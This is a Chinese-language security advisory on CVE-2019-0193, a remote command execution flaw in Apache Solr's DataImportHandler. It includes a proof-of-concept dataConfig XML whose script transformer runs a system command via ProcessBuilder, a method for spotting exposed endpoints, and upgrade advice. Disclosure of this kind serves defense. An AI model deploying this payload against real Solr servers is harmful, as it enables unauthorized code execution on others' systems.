Apache Solr远程命令执行漏洞处置建议
发布时间 2019-08-08• 漏洞编号和级别
CVE编号:CVE-2019-0193,危险级别:严重,CVSS分值:官方未评定
• 影响版本
受影响的版本
适用于Solr < 8.2.0且开启了DataImport功能。
• 漏洞概述
Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。
此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。
该漏洞源于用户在solrconfig.xml文件中设置了DataImportHandler,开启了DataImport功能。DataImportHandler模块允许用户自己包含脚本,来进行配置。攻击者可以通过构造恶意的脚本交由转换器进行解析,在Solr解析的过程中并未对用户的输入做检查,可导致攻击者远程在Solr服务器上执行命令。
• 漏洞验证
POC:
<dataConfig>
<dataSource name="fromMysql"
type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"
user="root"
password="123456"/>
<script ><![CDATA[
function f2c(row) {
var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
return row;
}
]]>
</script>
<document>
<entity name="Users" query="SELECT 1" transformer="script:f2c">
</entity>
</document>
</dataConfig>
访问url:http://ip:8983/solr/#/core1/dataimport//dataimport,存在这个路径,就证明用户的solr,有可选模块DataImportHandler,存在漏洞利用风险。详见下图:
• 修复建议
将Apache Solr升级至8.2.0或更高的版本。
临时修复建议:
• 参考链接
https://issues.apache.org/jira/browse/SOLR-13669


京公网安备11010802024551号